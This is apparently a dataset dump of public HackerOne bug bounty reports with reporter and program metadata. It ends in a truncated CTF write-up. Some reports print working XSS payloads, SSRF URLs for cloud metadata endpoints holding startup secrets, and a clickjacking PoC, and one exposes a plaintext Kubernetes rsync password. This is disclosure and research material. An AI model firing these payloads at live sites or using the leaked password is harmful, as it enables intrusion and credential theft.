DiffieHellman may be used as the basis for application level security, implications are consequently broad. E.g., key reuse can cause major problems, cryptanalysis may break confidentiality, integrity, ... | {
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"is_me?": false,
"profile_picture_urls": {
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},
"url": "/bensmyth",
"username": "bensmyth",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "nodejs",
"id": 22984,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "The Node.js JavaScript Runtime",
"name": "Node.js",
"twitter_handle": "nodejs",
"website": "https://nodejs.org"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/022/984/e600648ace4a8553247bce967d461a030aa81d49_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/nodejs"
} | false | full | 2023-07-20T20:59:27.162Z | {
"id": 227,
"name": "Inconsistency Between Implementation and Documented Design"
} | null | 7 | {
"asset_identifier": "https://github.com/nodejs/node",
"asset_type": "SOURCE_CODE",
"databaseId": 666,
"max_severity": "critical"
} |
94,230 | Cross-site Scripting in all Zopim | 2015-10-16T14:56:26.648Z | resolved | Hello.
This vulnerability works on all sites where there Zopim chat.
Vulnerable link:
https://www.zopim.com/#1=1&__zopim_widget_proxy=1.zopim.com/s/W/xdds/PIJ4+155G8p7LL3w/c/1444997086678%22%3E%3C/script%3E%3Csvg/onload=alert%28%22XSS%22%29%3E
Vulnerable param is __zopim_widget_proxy.
For XSS i used "></script><svg/onload=alert("XSS")>
Tested in Mozilla Firefox.
| {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/038/696/21beef0c831766fad769a95c8f2a66692c65dfc9_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"url": "/mdv",
"username": "mdv",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "zendesk",
"id": 205,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Zendesk is a leading cloud-based customer service software solution. Over 100,000 customer accounts use Zendesk to increase customer satisfaction.",
"name": "Zendesk",
"twitter_handle": "",
"website": "https://www.zendesk.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/205/1f7838d9b4201d122e0a7fbacc8ff3e90f57fa0c_original.jpg/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/zendesk"
} | true | full | 2015-10-20T22:53:27.181Z | {
"id": 60,
"name": "Cross-site Scripting (XSS) - Generic"
} | null | 2 | null |
1,137,218 | Access control issue on invoice documents downloading feature. | 2021-03-26T13:17:25.719Z | resolved | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
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},
"url": "/basant0x01",
"username": "basant0x01",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "moneybird",
"id": 1361,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Cloud accounting",
"name": "Moneybird",
"twitter_handle": "moneybird",
"website": "https://www.moneybird.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/001/361/739e6ad9792a2ead9d1fdc718c653da55fba83df_original.jpg/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/moneybird"
} | true | no-content | 2021-04-01T14:16:18.532Z | {
"id": 26,
"name": "Improper Access Control - Generic"
} | null | 26 | {
"asset_identifier": "moneybird.com",
"asset_type": "URL",
"databaseId": 16186,
"max_severity": "critical"
} |
|
1,474,536 | connect.8x8.com: admin user can send invites on behalf of another admin user via POST /api/v1/users/<User ID>/invites | 2022-02-08T16:13:35.632Z | resolved | {
"cleared": true,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/ni07o23q7345senc7og6vhuqpkab/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/emperor",
"username": "emperor",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "8x8-bounty",
"id": 49732,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "8x8 Bounty",
"twitter_handle": "",
"website": "https://www.8x8.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/16aYGnF7ASJBgKtGCuibiuVT/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/8x8-bounty"
} | true | no-content | 2023-02-15T07:48:12.281Z | {
"id": 26,
"name": "Improper Access Control - Generic"
} | null | 94 | {
"asset_identifier": "connect.8x8.com",
"asset_type": "URL",
"databaseId": 61539,
"max_severity": "critical"
} |
|
53,088 | SSRF vulnerability (access to metadata server on EC2 and OpenStack) | 2015-03-23T15:08:49.061Z | resolved | In bug [#50537](https://hackerone.com/reports/50537), **haquaman** reported a SSRF vulnerability in the meme creation section of Phabricator. Ticket [T6755](https://secure.phabricator.com/T6755) was created and the HackerOne issue was closed as "Won't fix".
[T6755](https://secure.phabricator.com/T6755) states that *"attackers can use the machine's ability to access the network, which may allow them to find services (and, in some rare cases, interact with services that have very, very weak authentication and act over HTTP GET)"*.
Hoewever, some common deployement scenarios (using Amazon EC2 or OpenStack) include a "metadata" web server listening on a multicast IP (169.254.169.254):
- EC2: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
- OpenStack:http://docs.openstack.org/admin-guide-cloud/content/section_metadata-service.html
Given the multicast IP address, this server can only reached from the instance itself.
Plenty of interesting information are stored at /latest/meta-data/ ([hostname](http://169.254.169.254/latest/meta-data/hostname), private and public IP addresses, ...). However, the worst scenario is auto-starting instances, where a startup script is stored in [/latest/user-data](http://169.254.169.254/latest/user-data). These startup scripts may include passwords, private keys, source code, ...
Test URLs:
```
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/user-data
```
Outside of EC2 and OpenStack, some services are commonly bound to localhost, including monitoring software, noSQL databases, administration interfaces, ... | {
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"url": "/agarri_fr",
"username": "agarri_fr",
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} | {
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"handle": "phabricator",
"id": 18,
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"pentest_retesting_ends_at": null,
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"profile": {
"about": "Phabricator is a collection of open source web applications that help software companies build better software.",
"name": "Phabricator",
"twitter_handle": "phabricator",
"website": "http://phacility.com/phabricator/"
},
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/phabricator"
} | true | full | 2015-03-26T18:37:57.571Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 4 | null |
237,071 | X-Frame-Options | 2017-06-06T01:35:07.815Z | informative | {
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"hackerone_triager": false,
"is_me?": false,
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},
"url": "/dark_heaven",
"username": "dark_heaven",
"verified": false
} | {
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"default_currency": "usd",
"handle": "coinbase",
"id": 104,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Creating an open financial system for the world",
"name": "Coinbase",
"twitter_handle": "",
"website": "https://coinbase.com/security"
},
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/coinbase"
} | false | no-content | 2017-06-22T17:07:14.836Z | {
"id": 74,
"name": "UI Redressing (Clickjacking)"
} | null | 1 | null |
|
14,494 | Clickjacking & CSRF attack can be done at https://app.mavenlink.com/login | 2014-06-02T22:25:15.066Z | resolved | Hello,
My name is Vineet bhardwaj. i am security researcher and i pen test your website( https://app.mavenlink.com/login) and i found there is click jacking attack and CSRF attack can be done.
POC:
<html><head>
<title> CSRF testing </title>
<style>
frame {
opacity: 0.5;
border: none;
position: absolute;
top: 0px;
left: 0px;
z-index: 1000;
}
</style>
</head>
<body>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave ?";
}
</script>
<p> site is vulnerable for CSRF! by Vineet bhardwaj</p>
<iframe id="frame" width="100%" height="100%" src="https://app.mavenlink.com/login"></iframe>
</body>
</html>
Procedure: 1. for test your website is vulnerable to clickjacking or CSRF or not ......
open pen-test-for-CSRF.html (in attachment)
2. in iframe tag give link to https://app.mavenlink.com/login (already given in .html file)
save "pen-test-for-CSRF.html" open in your browser if your website open with the text "site is vulnerable " and given below with your whole site than your domain is vulnerable to clickjacking attack & CSRF.
Impact: An attacker can host this domain in other evil site by using iframe and if a user fill the given filed it can directly redirect as logs to attacker and after its redirect to your web server.. its lead to steal user information too and use that host site as phishing of your site its CSRF and Clickjacking
Note : check the attachment.;- 1. pent-test-for-CSRF.html
2. image for proof
waiting for positive response ........
Thanks,
Vineet | {
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},
"url": "/vineet",
"username": "vineet",
"verified": false
} | {
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"default_currency": "usd",
"handle": "mavenlink",
"id": 48,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Mavenlink provides sophisticated software and services to help organizations conduct business online, improve productivity, and grow profitably.",
"name": "Mavenlink",
"twitter_handle": "",
"website": "https://www.mavenlink.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/048/f0b795a31dcd39219030322524224cd0b61cc45e_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/mavenlink"
} | false | full | 2014-09-19T15:35:11.812Z | {
"id": 45,
"name": "Cross-Site Request Forgery (CSRF)"
} | null | 2 | null |
50,776 | A user can edit comments even after video comments are disabled | 2015-03-10T09:12:26.084Z | resolved | A user can escalate privileges and edit his previous comments, when comments are disabled for a video.
Steps to verify:
1. Log into vimeo.com as Alice. Upload a video (say, video id - 118026546) and allow anyone to leave comments for that video .
2. Login as Bob and navigate to the video URL - https://vimeo.com/118026546.
3. Leave a comment. Edit that comment and capture the request using burp proxy. Captured request looks like -
POST /118026546 HTTP/1.1
Host: vimeo.com
[...]
text=abcd&action=edit_comment&comment_id=12984882&token=[...]
4. From Alice account, change the video settings and do not allow anyone to comment.
5. From Bob account, access the video url (https://vimeo.com/118026546) and it displays 'Sorry, comments have been disabled by the owner of this video' message. At this point Bob can't add new comments or edit previous comments. However, Bob can edit his previous comments by replaying the request captured in step 3. | {
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},
"url": "/satishb3",
"username": "satishb3",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "vimeo",
"id": 56,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Make life worth watching",
"name": "Vimeo",
"twitter_handle": "vimeo",
"website": "https://vimeo.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/056/c3188aa0fc4a95fd486b5ee1f4b2d0b90da111d3_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/vimeo"
} | true | full | 2015-03-11T14:37:33.636Z | {
"id": 75,
"name": "Privilege Escalation"
} | null | 2 | null |
901,210 | Redmin API Key Exposed In GIthub | 2020-06-18T03:11:38.534Z | resolved | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/f5nhz1d1xaxs3tetz8pan9scp2dz/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/elmahdi",
"username": "elmahdi",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "mailru",
"id": 65,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Building the Internet since 1998",
"name": "Mail.ru",
"twitter_handle": "",
"website": "https://vk.company/"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/065/1ec04a6b87b02422d913b5c53d5247de91d64718_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/mailru"
} | true | no-content | 2020-11-25T15:58:05.827Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 20 | {
"asset_identifier": "Foodplex",
"asset_type": "OTHER",
"databaseId": 49351,
"max_severity": "critical"
} |
|
395,944 | Reflected XSS in the npm module express-cart. | 2018-08-16T11:34:50.254Z | resolved | > NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
I would like to report Reflected XSS in the npm module express-cart.
It allows a user to insert malicious payload in the user input field and the script gets reflected in the browser
# Module
**module name:** express-cart
**version:** 1.1.5
**npm page:** `https://www.npmjs.com/package/express-cart`
## Module Description
expressCart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal, and Authorize.net payments.
## Module Stats
[27] downloads in the last week
# Vulnerability
## Vulnerability Description
when the admin user creates a request for a new product, then the field 'Product option' accepts any malicious user input. This lead me to identify the reflected XSS attack.
## Steps To Reproduce:
1. Login with admin user credentials.
2. From Left Menu panel, select new under product tab
3. In 'product options' details, insert any javascript payload eg. <script>alert(1234)</script>
4. The reflected XSS in the form of an alert box will be pop up in a browser window.
## Supporting Material/References:
- https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
>l technical information about the stack where the vulnerability was found
- OS used Windows 10
- NODEJS VERSION - V8.11.3
- NPM VERSION - 5.6.0
- Browser - Chrome 68.0.3440.106
# Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
## Impact
This vulnerability would allow a user to insert javascript payloads which can be reflected in a browser. | {
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},
"url": "/avi3719",
"username": "avi3719",
"verified": false
} | {
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"handle": "nodejs-ecosystem",
"id": 23949,
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"pentest_retesting_ends_at": null,
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"name": "Node.js third-party modules",
"twitter_handle": "",
"website": "https://nodejs.org/en/security/"
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"url": "https://hackerone.com/nodejs-ecosystem"
} | false | full | 2019-02-15T06:25:38.924Z | {
"id": 61,
"name": "Cross-site Scripting (XSS) - Reflected"
} | null | 15 | {
"asset_identifier": "express-cart",
"asset_type": "SOURCE_CODE",
"databaseId": 10291,
"max_severity": "critical"
} |
1,067,004 | Sensitive data exposure via https://███████/secure/QueryComponent!Default.jspa - CVE-2020-14179 | 2020-12-27T13:46:56.469Z | resolved | ##Summary:
Information Disclosure vulnerability in outdated Jira.
##Description:
Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.
## Step-by-step Reproduction Instructions
1.Go to
https://███/secure/QueryComponent!Default.jspa to view exposed information in any web browser.
## Product, Version, and Configuration
The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
## Suggested Mitigation/Remediation Actions
Update affected Jira version according to vendor instructions.
## Impact
Unauthenticated attackers to view custom Jira field names and custom SLA names. | {
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} | false | full | 2021-01-12T21:43:53.661Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 3 | null |
1,569,926 | Credential leak when use two url | 2022-05-13T19:09:38.556Z | not-applicable | ## Summary:
Curl can leak user credentials if use two url.
## Steps To Reproduce:
1. curl -I -v -u aaa:bbb hackerone.com curl.se
2. the output is:
> Connected to hackerone.com (104.16.100.52) port 80 (#0)
> Server auth using Basic with user 'aaa'
> HEAD / HTTP/1.1
> Host: hackerone.com
> Authorization: Basic YWFhOmJiYg==
> User-Agent: curl/7.83.1
> Accept: */*
> Connection #0 to host hackerone.com left intact
>Trying 151.101.65.91:80...
> Connected to curl.se (151.101.65.91) port 80 (#1)
>Server auth using Basic with user 'aaa'
> HEAD / HTTP/1.1
> Host: curl.se
> Authorization: Basic YWFhOmJiYg==
> User-Agent: curl/7.83.1
> Accept: */*
3. from the output we can see, the second url get the same credentials
## Impact
Leak of confidential information (user credential) | {
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"url": "https://hackerone.com/curl"
} | false | full | 2022-06-27T06:55:01.273Z | {
"id": 87,
"name": "Insufficiently Protected Credentials"
} | null | 2 | {
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"databaseId": 18844,
"max_severity": "critical"
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67,929 | Redirection Page throwing error instead of redirecting to site | 2015-06-14T18:45:01.721Z | resolved | Hello
I was just testing and found that http://anysite.com.com/index.php?ref="><svg/onload=window.onerror=alert;throw/XSS/;// does not shows the usual External link warning page, but shows some error page .
Thanks | {
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"url": "/mafia",
"username": "mafia",
"verified": false
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"profile": {
"about": "Vulnerability disclosure should be safe, transparent, and rewarding.",
"name": "HackerOne",
"twitter_handle": "Hacker0x01",
"website": "https://hackerone.com"
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"submission_state": "open",
"url": "https://hackerone.com/security"
} | false | full | 2016-05-25T02:13:58.505Z | {
"id": 57,
"name": "Violation of Secure Design Principles"
} | null | 3 | null |
681,468 | The password recovery let users know whether an email address exists or not in the website | 2019-08-25T00:03:13.241Z | resolved | URL: https://apps.nextcloud.com/password/reset/
I have tried to recover the password for some emails:
test@test.com (exists)
teste@teste.com.br (does not exists)
After I clicked the "reset my password"'s button, the website informed that the email did not exist.
## Impact
This is a bad practice, and it is an invitation to brute force emails that possibly exist in the domain @nextcloud.com.
By using a wordlist of common passwords, it is possible to guess a combination of email/password of an administrator account. | {
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} | false | full | 2019-11-22T17:51:03.959Z | {
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"name": "Improper Restriction of Authentication Attempts"
} | null | 10 | {
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2,012,135 | [CVE-2023-22799] Possible ReDoS based DoS vulnerability in GlobalID | 2023-06-04T08:02:09.284Z | resolved | I made a report and patch at https://hackerone.com/reports/1696752.
https://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127
> There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.
## Impact
ReDoS occurs in Global ID uri parsing.
Global ID is supposed to be used in ActiveJob, but it is also used in libraries such as GraphQL Ruby and uses user input. | {
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"url": "https://hackerone.com/ibb"
} | true | full | 2023-07-27T06:45:30.531Z | {
"id": 48,
"name": "Uncontrolled Resource Consumption"
} | null | 4 | {
"asset_identifier": "https://github.com/rails",
"asset_type": "SOURCE_CODE",
"databaseId": 80881,
"max_severity": "critical"
} |
872,190 | Plaintext storage of a password on kubernetes release bucket | 2020-05-12T19:19:27.083Z | informative | Report Submission Form
## Summary:
During my recon I found these two buckets dl.k8s.io and dl.kubernetes.io which actually redirects to https://storage.googleapis.com/kubernetes-release/.
By searching the string "password" under https://storage.googleapis.com/kubernetes-release/ I found a file called rsyncd.password (https://storage.googleapis.com/kubernetes-release/archive/anago-v1.10.0-alpha.1/k8s.io/kubernetes/_output-v1.10.0-alpha.1/images/kube-build:build-734df85a63-5-v1.9.2-1/rsyncd.password) where the password "**VmvrL2DyKbJB5jb5EkNfqYPpmLBf0LjS**" is stored in plaintext.
{F825675}
{F825676}
This password is used in this script https://storage.googleapis.com/kubernetes-release/archive/anago-v1.10.0-alpha.1/k8s.io/kubernetes/_output-v1.10.0-alpha.1/images/kube-build:build-734df85a63-5-v1.9.2-1/rsyncd.sh. The script rsyncd.sh is used to set up and run rsyncd to allow data to move into and out of our dockerized build system.
{F825677}
From the github repo https://github.com/kubernetes/release we can see what is anago where this password was found.
{F825678}
## Fix:
Delete the file https://storage.googleapis.com/kubernetes-release/archive/anago-v1.10.0-alpha.1/k8s.io/kubernetes/_output-v1.10.0-alpha.1/images/kube-build:build-734df85a63-5-v1.9.2-1/rsyncd.password.
## Impact
Storing password in plaintext in a public bucket on the web is a security bad practice. People that used or still using the anago-v1.10.0-alpha.1 could have their environment compromised if an attacker use this leaked password and the username k8s defined here https://storage.googleapis.com/kubernetes-release/archive/anago-v1.10.0-alpha.1/k8s.io/kubernetes/_output-v1.10.0-alpha.1/images/kube-build:build-734df85a63-5-v1.9.2-1/rsyncd.sh. | {
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"url": "/riramar",
"username": "riramar",
"verified": true
} | {
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"handle": "kubernetes",
"id": 39386,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "Kubernetes",
"twitter_handle": "kubernetesio",
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"submission_state": "open",
"url": "https://hackerone.com/kubernetes"
} | false | full | 2021-01-07T18:30:33.292Z | {
"id": 21,
"name": "Plaintext Storage of a Password"
} | null | 0 | {
"asset_identifier": "k8s.io",
"asset_type": "URL",
"databaseId": 34429,
"max_severity": "critical"
} |
304,708 | Information exposure via error pages (www.lahitapiola.fi Tomcat) | 2018-01-14T11:59:38.299Z | resolved | **Summary:**
Information exposure via error pages
**Description:**
Hello there!
I take the risk that this report might be closed as a N/A but because you are running outdated tomcat I wanted to take this risk and report this to you.
So here we go..
When you navigate to the page e.g.
https://www.lahitapiola.fi/cs/Satellite?blobcol=urldata&blobkey=id&blobtable=MungoBlobs&blobwhere=15096s13006012asd&ssbinary=true
You will see the error page which shows the exact version of the tomcat:
{F253872}
Here is some examples about the vulnerabilities of this version tomcat:
https://www.securityfocus.com/bid/100901/info
https://www.securityfocus.com/bid/97530
There is two main reasons why I decided to report this to you:
I am pretty sure that eariler your 404 error pages didn't show tomcat version.
This tomcat is outdated and this information can be used of damage your reputation or in worst case to compromise this host.
If you need any information please let me know.
Cheers!
**Domain:**
lahitapiola.fi
## Impact
An attacker get information about unpatched tomcat. | {
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},
"url": "/muon4",
"username": "muon4",
"verified": true
} | {
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"default_currency": "usd",
"handle": "localtapiola",
"id": 8416,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "LocalTapiola’s products and services cover non-life, life and pension insurance, as well as investment and saving services.",
"name": "LocalTapiola",
"twitter_handle": "",
"website": "http://www.lahitapiola.fi"
},
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/localtapiola"
} | true | full | 2018-03-02T04:59:45.904Z | {
"id": 82,
"name": "Information Exposure Through an Error Message"
} | null | 6 | {
"asset_identifier": "www.lahitapiola.fi",
"asset_type": "URL",
"databaseId": 1045,
"max_severity": "critical"
} |
1,984,060 | After the upload of an private file, using transformations, the file becomes public without the possibility of changing it. | 2023-05-11T14:54:33.064Z | resolved | ## Summary:
When an user uploads a private file, ex (Screenshot 1), where only he has access to. Using the "View transformations" function can generate different kinds of image transformations (Screenshot 2). But after the generation of that transformation for example clicking on the regenerate button next to profile. The function will create a cropped public image, where the user is unable to edit or modify his own generated image (Screenshot 3).
Issue: You have a picture with you smiling and your passport holding in your hand (An example would be a "know you customer purpose" selfie). You like that picture on how you look, so you upload it on phabricator, privately, assuming nobody can view it. You click on view transformations, to modify and crop that picture, to get rid of the sensitive data passport you are holding in your hand, so only the face remains. After you clicked on the regenerate next to profile, you realize the crop doesn't work as intended and your passport data is still in there. So you want to modify/delete that picture but you cant. And what's worse that picture visible to anyone and you don't have access to remove it nor to modify it.
## Steps To Reproduce:
[add details for how we can reproduce the issue]
1.Upload a private picture here: https://phabricator.allizom.org/file/upload/
2.Change the visibility to no one or just you.
3. After the upload, click on "View Transformations" on the right.
4. There you can create different transformations when you click on regenerate.
5. After that you, you get a new preview to your generated picture.
6. Now go back, to the transforms page, and you get a new link on phabricator, that is public, and can't be changed.
I've added a video that showcases this behavior.
## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]
I've added screenshots and a video to showcase this issue.
* [attachment / reference]
## Impact
The user is assuming that he can upload private data securely. Not knowing that the transform feature will make his uploaded files public with no way to delete it, could in worst case leak PII information. | {
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},
"url": "/limusec",
"username": "limusec",
"verified": false
} | {
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"handle": "mozilla",
"id": 61236,
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"about": "Mozilla web bug bounty program specific to encouraging security research in Mozilla's products and web services.",
"name": "Mozilla",
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"website": "https://www.mozilla.org"
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"submission_state": "open",
"url": "https://hackerone.com/mozilla"
} | true | full | 2023-10-20T09:37:30.009Z | {
"id": 26,
"name": "Improper Access Control - Generic"
} | null | 54 | {
"asset_identifier": "phabricator.allizom.org",
"asset_type": "URL",
"databaseId": 635518,
"max_severity": "critical"
} |
1,068,934 | [h1ctf-Grinch Networks] MrR3b00t Saving the Christmas | 2020-12-30T19:02:05.093Z | resolved | > Disclaimer: Certain things are a bit modified to set the pieces for the story. Also you can find the flags for all 12 challenges in file F1138300 , Now enjoy :)
```
█▀▄▀█ █▀█ ░ █▀█ █▄▄ █▀█ █▀█ ▀█▀
█░▀░█ █▀▄ ▄ █▀▄ █▄█ █▄█ █▄█ ░█░ saves the Christmas
```
**_Episode - 0x00_ Pil0t.py**
It was a gloomy clear night, Mr.R3b00t was sitting in front of the "Computer" in his Hacker Den, sound of the keyboard clicks can be heard all around and suddenly Mr.R3b00t receives a message from none other than the mighty "h1-Team".
{F1137838}
The moment Mr.R3b00t read the message, He took an oath "Humanity has suffered a lot this year, I will not let The Grinch ruin Christmas too!, I will pawn him..(Thunder Rumbling in the background)"
**_Episode - 0x01_ r0b0ts.txt**
Mr.R3b00t pulled up his chair, put the black hoodie on (Hacker Mode initiated) and started hacking The Grinch, with such limited info and time the first thing that came into his genius mind was to do an Nmap scan on the target website, as his wise friend @ippsec once quoted, "Always perform an Nmap scan, you never know what surprise you will get" (ippsec never said that -_-).
Mr.R3b00t Performed an Nmap scan on https://hackyholidays.h1ctf.com but found nothing interesting except for one little thing!
{F1137841}
There was a robots.txt file present on the website with one disallowed entry : `/s3cr3t-ar3a` (Looks like Grinch is not good at hiding things)
To have a good look at it, Mr.R3b00t opened up the robots.txt for any additional details.
{F1137846}
The robots.txt file was leading to only one path `/s3cr3t-ar3a`, Without wasting any time Mr.R3b00t opened up the page and found the following message.
{F1137849}
Grinch was going to update the website looks like he has started off his plan, Mr.R3b00t smiled and said "This is gonna be a long Christmas..".
**_Episode - 0x02_ .hidd3n**
Mr.R3b00t waited for a whole day and visited the `/s3cr3t-ar3a` page again, this time the page was flashing an entire new message.
{F1137850}
Soon after seeing the message, Mr.R3b00t started off with the recon to find if something is hidden in the website but **nothing interesting was found**. Clock was ticking and Mr.R3b00t was losing all hopes of saving Christmas (more like the hope of losing a private invite).
Mr.R3b00t kept thinking and searching to find a way to know what The Grinch has been hiding but nothing worked out, a ray of hope came in when Mr.R3b00t was actually able to find the true meaning of what was written on his Desktop Wallpaper.
{F1137851}
Mr.R3b00t soon contacted one of his hacker friend which was also trying to destroy Grinch's evil agenda, He told Mr.R3b00t "Not all things can be seen in the server side response, sometimes things are generated on the client's end too". It was enough for Mr.R3b00t to figure out what he was trying to say.
Mr.R3b00t quickly opened the `/s3cr3t-ar3a` and opened up the browser dev console, to search for any hidden secrets and voila.
{F1137853}
So, It was clear that The Grinch has started off his dirty games and was going to defame a list of people on his website.
**_Episode - 0x03_ id=1**
Soon after sometime, Mr.R3b00t found the list of people deployed on Grinch's website "This dirty little thing, what is he even trying to prove with this", Mr.R3b00t said.
{F1137856}
Taking a closer look Mr.R3b00t found an endpoint `/people-rater/page/1` being called on initial page load.
{F1137860}
{F1137861}
The id parameters were containing base64 strings, after decoding the first value of the id attribute, Mr.R3b00t got the following result
{F1137888}
Rest of the decoded "id" values were having consecutive values (3,4..), Everything was looking on place except for one single thing "Where the heck is id 1 ?"
Later on, Mr.R3b00t found if you click on respective person's name a message appears for that person and a request is made to `https://hackyholidays.h1ctf.com/people-rater/entry?id={ID}` the `{ID}` was nothing but the base64 `id` values fetched earlier.
For Mr.R3b00t it was a "piece of cake" to figure out what the Grinch has been hiding here, Mr.R3b00t quickly encoded the string `{"id":1}` as base64 and sent it along with `https://hackyholidays.h1ctf.com/people-rater/entry?id={ID}`
{F1137892}
"What?? He is opening his swag shop now! What is he gonna sell? Snow Ball Launchers ?" Mr.R3b00t said.
**_Episode - 0x04_ fuZZ**
Looks like Grinch was selling some really lame stuff and of course on his swag-shop.
{F1137893}
"Let's find out what he is hiding now", Mr.R3b00t said.
From initial recon Mr.R3b00t found out certain API endpoint which were hidden and were not present on the site.
{F1137894}
The /api/sessions endpoint were throwing base64 encoded session strings.
{F1137895}
Mr.R3b00t quickly decoded all the strings and found out two attributes in each string "user" and "cookie", but most of the user attributes were null except for one.
{F1137899}
After spending sometime on the first endpoint it was time to move onto the second one.
An initial request to the endpoint returned the following response.
{F1137901}
Looks like the endpoint was missing some params to pass along with the request, just to be sure Mr.R3b00t also checked if any other method is allowed on the endpoint but 404 is returned, only GET was allowed on the endpoint.
It was time to enum the parameters and Mr.R3b00t had the exact tool in his arsenal that could get the work done, [Arjun](https://github.com/s0md3v/Arjun) By none other than s0md3v.
Without wasting anymore time Mr.R3b00t Fired up Arjun in his terminal and passed on the `/api/user` endpoint to look for the hidden params, just after few seconds he got the result. He found a valid parameter "uuid".
{F1137904}
{F1137905}
From the first endpoint Mr.R3b00t got a user with ID "user": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043"
